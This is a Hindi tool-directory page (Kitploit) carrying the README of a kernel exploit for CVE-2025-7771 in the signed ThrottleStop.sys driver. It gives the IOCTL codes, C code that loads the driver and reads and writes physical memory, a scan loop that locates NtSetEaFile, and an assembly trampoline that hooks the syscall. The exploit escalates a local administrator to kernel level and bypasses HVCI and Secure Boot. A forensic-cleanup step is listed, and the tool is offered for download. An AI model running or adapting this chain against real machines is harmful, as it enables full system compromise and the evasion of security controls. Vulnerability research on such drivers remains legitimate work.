Skip to content
KitploitKITPLOIT
उपकरणएक्सप्लॉइटब्लॉग
Log in
जमा करें
उपकरणएक्सप्लॉइटब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2025-7771-Vulnerability-Exploration — सिस्टम में अहस्ताक्षरित ड्राइवर से थ्रॉटलस्टॉप भेद्यता का उपयोग करके विशेषाधिकार वृद्धि | Kitploit
उपकरण/GitHubGitHub/d4rkks/cve-2025-7771-vulnerability-exploration
विशेषाधिकार वृद्धिमेमोरी फोरेंसिकशोषणपोस्ट-शोषणपेपर और शोधलर्निंग और शिक्षाबाइनरी शोषण
GitHubd4rkks/cve-2025-7771-vulnerability-exploration

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2025-7771-Vulnerability-Exploration

सिस्टम में अहस्ताक्षरित ड्राइवर से थ्रॉटलस्टॉप भेद्यता का उपयोग करके विशेषाधिकार वृद्धि

रिपॉजिटरी देखें
131105 महीने पहलेअभी तक समीक्षित नहीं

🔓 ThrottleStop.sys कर्नेल एक्सप्लॉइट — HVCI-संगत भौतिक मेमोरी मैपर

CVE-2025-7771 — ThrottleStop.sys IOCTLs के माध्यम से मनमानी भौतिक मेमोरी पढ़ना/लिखना

⚠️ अस्वीकरण

यह परियोजना केवल शैक्षिक और अनुसंधान उद्देश्यों के लिए प्रकाशित की गई है। इसका उद्देश्य यह प्रदर्शित करना है कि कैसे एक हस्ताक्षरित, विश्वसनीय कर्नेल ड्राइवर का उपयोग स्थानीय विशेषाधिकार वृद्धि (LPE) के लिए किया जा सकता है, प्रशासक से SYSTEM/कर्नेल तक, और प्रभावी रूप से आधुनिक Windows सुरक्षा सुविधाओं जैसे HVCI (हाइपरवाइज़र-प्रवर्तित कोड अखंडता) और सिक्योर बूट को बायपास किया जा सकता है।

इस उपकरण का दुर्भावनापूर्ण उद्देश्यों के लिए उपयोग न करें। लेखक किसी भी दुरुपयोग के लिए जिम्मेदार नहीं है।


📋 विषय सूची

  • भेद्यता सारांश
  • प्रभावित सॉफ्टवेयर
  • तकनीकी विश्लेषण
    • कमजोर IOCTLs
    • मूल कारण
  • शोषण श्रृंखला
    • चरण 1 — कमजोर ड्राइवर लोड करना
    • चरण 2 — भौतिक मेमोरी प्रिमिटिव
    • चरण 3 — सिस्कॉल पृष्ठ ढूंढना
    • चरण 4 — भौतिक लेखन के माध्यम से सिस्कॉल हुकिंग
    • चरण 5 — मनमाना कर्नेल कोड निष्पादन
    • चरण 6 — फोरेंसिक सफाई
  • यह HVCI को क्यों बायपास करता है
  • प्रभाव आकलन
  • निर्माण और उपयोग
  • शमन अनुशंसाएँ
  • संदर्भ

भेद्यता सारांश

फ़ील्डविवरण
CVECVE-2025-7771
ड्राइवरThrottleStop.sys ( ThrottleStop के साथ शिप किया गया)
विक्रेताTechPowerUp / Kevin Glynn
प्रकारमनमानी भौतिक मेमोरी पढ़ना/लिखना
प्रभावस्थानीय विशेषाधिकार वृद्धि (प्रशासक → कर्नेल)
CVSS8.2 (उच्च)
हस्ताक्षरWHQL / प्रमाणीकरण के माध्यम से Microsoft-हस्ताक्षरित
HVCI बायपास✅ हाँ — ड्राइवर वैध रूप से हस्ताक्षरित है, CI नीति द्वारा अनुमत

प्रभावित सॉफ्टवेयर

  • ThrottleStop — सभी संस्करण जो ThrottleStop.sys को भौतिक मेमोरी मैपिंग IOCTLs के साथ शिप करते हैं
  • Windows 10 1903 – 22H2 (x64)
  • Windows 11 21H2 – 24H2 (x64), HVCI सक्षम के साथ बिल्ड सहित
  • परीक्षण किया गया: Windows 11 26100.x (24H2) सिक्योर बूट + HVCI के साथ

तकनीकी विश्लेषण

कमजोर IOCTLs

ThrottleStop.sys कर्नेल ड्राइवर एक डिवाइस (\\.\ThrottleStop) को उजागर करता है जो किसी भी स्थानीय प्रशासक के लिए सुलभ है। यह दो IOCTLs लागू करता है जो अप्रतिबंधित भौतिक मेमोरी एक्सेस प्रदान करते हैं:

#define IOCTL_TS_READ_PHYS   0x80006498   // मनमाना भौतिक पता पढ़ें
#define IOCTL_TS_WRITE_PHYS  0x8000649C   // मनमाना भौतिक पता लिखें

भौतिक मेमोरी पढ़ें (0x80006498)

इनपुट:  ULONG64 PhysicalAddress  (8 बाइट्स)
आउटपुट: डेटा बफर              (प्रति कॉल 1–8 बाइट्स, OutputBufferLength द्वारा निर्धारित)

ड्राइवर अनुरोधित भौतिक पते को कर्नेल वर्चुअल स्पेस में मैप करने के लिए MmMapIoSpace() को कॉल करता है, डेटा को आउटपुट बफर में कॉपी करता है, फिर MmUnmapIoSpace() को कॉल करता है। भौतिक पते पर कोई सत्यापन नहीं किया जाता है — भौतिक पता स्थान में किसी भी पते को पढ़ा जा सकता है।

भौतिक मेमोरी लिखें (0x8000649C)

इनपुट:  ULONG64 PhysicalAddress (8 बाइट्स) + डेटा (1–8 बाइट्स)
        InputBufferLength = 8 + DataSize
आउटपुट: कोई नहीं

पढ़ने के समान तंत्र, लेकिन मैप किए गए भौतिक पते पर उपयोगकर्ता-आपूर्ति डेटा लिखता है। फिर से, कोई पता या श्रेणी सत्यापन नहीं।

मूल कारण

ड्राइवर को ThrottleStop (एक CPU अंडरवोल्टिंग/थ्रॉटलिंग उपयोगिता) को सीधे MSRs और हार्डवेयर रजिस्टरों को पढ़ने/लिखने की अनुमति देने के लिए डिज़ाइन किया गया था। भौतिक मेमोरी IOCTLs को संभवतः PCI कॉन्फ़िगरेशन स्पेस या CPU थर्मल सेंसर के MMIO एक्सेस के लिए जोड़ा गया था, लेकिन कार्यान्वयन शून्य सीमा जाँच करता है:

  1. ❌ कोई जाँच नहीं कि भौतिक पता MMIO बनाम RAM का है
  2. ❌ कोई जाँच नहीं कि पता कॉलर के इच्छित मेमोरी क्षेत्र के भीतर है
  3. ❌ GENERIC_READ | GENERIC_WRITE हैंडल एक्सेस की आवश्यकता के अलावा कोई ACL प्रतिबंध नहीं
  4. ❌ अनुमत भौतिक पता श्रेणियों की कोई अनुमति सूची नहीं

यह एक वैध हार्डवेयर उपयोगिता ड्राइवर को पूर्ण कर्नेल-स्तरीय पढ़ने/लिखने की प्रिमिटिव में बदल देता है।


शोषण श्रृंखला

शोषण श्रृंखला एक स्थानीय प्रशासक खाते से मनमाना कर्नेल कोड निष्पादन तक बढ़ जाती है, प्रभावी रूप से SYSTEM-स्तरीय रिंग-0 नियंत्रण प्राप्त करती है।

चरण 1 — कमजोर ड्राइवर लोड करना

मैपर ThrottleStop.sys को %TEMP% में ड्रॉप करता है, HKLM\SYSTEM\CurrentControlSet\Services\ThrottleStop के तहत एक सेवा रजिस्ट्री प्रविष्टि बनाता है, और इसे NtLoadDriver() के माध्यम से लोड करता है:

// वर्तमान प्रक्रिया के लिए SeLoadDriverPrivilege सक्षम करें
driver::util::enable_privilege(L"SeLoadDriverPrivilege");

// ड्रॉप की गई .sys फ़ाइल की ओर इशारा करते हुए सेवा प्रविष्टि बनाएं
driver::util::create_service_entry("\\??\\C:\\...\\ThrottleStop.sys", "ThrottleStop");

// NtLoadDriver के माध्यम से लोड करें
NtLoadDriver(&driver_reg_path_unicode);

// डिवाइस हैंडल खोलें
CreateFileA("\\\\.\\ThrottleStop", GENERIC_READ | GENERIC_WRITE, ...);

नोट: चूंकि ThrottleStop.sys वैध रूप से हस्ताक्षरित है, यह HVCI/सिक्योर बूट सक्षम होने पर भी लोड होता है। Windows CI नीति प्रमाणपत्र पर भरोसा करती है।

चरण 2 — भौतिक मेमोरी प्रिमिटिव

डिवाइस हैंडल के साथ, शोषण सिस्टम पर किसी भी भौतिक पते को पढ़/लिख सकता है:

// भौतिक पता 0x1000 से 8 बाइट्स पढ़ें
ULONGLONG phys_addr = 0x1000;
ULONGLONG data = 0;
DeviceIoControl(handle, 0x80006498, &phys_addr, 8, &data, 8, &returned, NULL);

// भौतिक पते पर 8 बाइट्स लिखें
UCHAR input[16];
*(ULONGLONG*)input = target_phys_addr;      // पता
*(ULONGLONG*)(input + 8) = shellcode_qword; // डेटा
DeviceIoControl(handle, 0x8000649C, input, 16, NULL, 0, &returned, NULL);

शोषण इन्हें हेल्पर फ़ंक्शंस में लपेटता है जो मनमानी-लंबाई स्थानांतरण के लिए खंडित पढ़ने/लिखने (प्रति कॉल 1, 2, 4, या 8 बाइट्स) को संभालते हैं।

चरण 3 — सिस्कॉल पृष्ठ ढूंढना

मनमाना कर्नेल फ़ंक्शन निष्पादित करने के लिए, शोषण को एक कर्नेल सिस्कॉल हैंडलर का भौतिक पता खोजने की आवश्यकता होती है। यह NtSetEaFile (एक शायद ही कभी निगरानी किया जाने वाला सिस्कॉल) को लक्षित करता है:

  1. RVA हल करें: LoadLibraryEx(DONT_RESOLVE_DLL_REFERENCES) के माध्यम से usermode में ntoskrnl.exe लोड करें, NtSetEaFile का RVA प्राप्त करें
  2. ऑफ़सेट की गणना करें: चूंकि ntoskrnl 2MB बड़े पृष्ठों के साथ मैप किया गया है, एक 2MB पृष्ठ के भीतर फ़ंक्शन का भौतिक ऑफ़सेट = RVA & 0x1FFFFF
  3. भौतिक मेमोरी स्कैन करें: रजिस्ट्री (HARDWARE\RESOURCEMAP\System Resources\Physical Memory) से भौतिक मेमोरी श्रेणियों की गणना करें, 2MB द्वारा कदम बढ़ाएँ, और बाइट्स की तुलना करें:
for (phys_2mb = start; phys_2mb < range_end; phys_2mb += 0x200000)
{
    candidate_pa = phys_2mb + offset_in_2mb;
    read_phys(candidate_pa, &first8, 8);
    if (first8 == pattern_first8)  // त्वरित जाँच
    {
        read_phys(candidate_pa, verify, 32);  // पूर्ण सत्यापन
        if (memcmp(verify, pattern, 32) == 0)
        {
            syscall_phys_addr = candidate_pa;  // मिल गया!
            // ... PsGetProcessSectionBaseAddress के माध्यम से मान्य करें
        }
    }
}
  1. मान्य करें: हुक किए गए सिस्कॉल को कॉल करें ताकि PsGetProcessSectionBaseAddress(current_pid) को लागू किया जा सके और सत्यापित किया जा सके कि लौटाया गया बेस GetModuleHandle(NULL) से मेल खाता है।

चरण 4 — भौतिक लेखन के माध्यम से सिस्कॉल हुकिंग

एक बार NtSetEaFile का भौतिक पता ज्ञात हो जाने पर, शोषण सीधे भौतिक मेमोरी लेखन के माध्यम से 12-बाइट ट्रैम्पोलिन स्थापित करता है:

; मूल NtSetEaFile बाइट्स (पुनर्स्थापना के लिए सहेजे गए)
; इसके साथ बदला गया:
mov rax, <target_kernel_address>   ; 48 B8 <8-byte imm64>
push rax                            ; 50
ret                                 ; C3
टूल डाउनलोड करें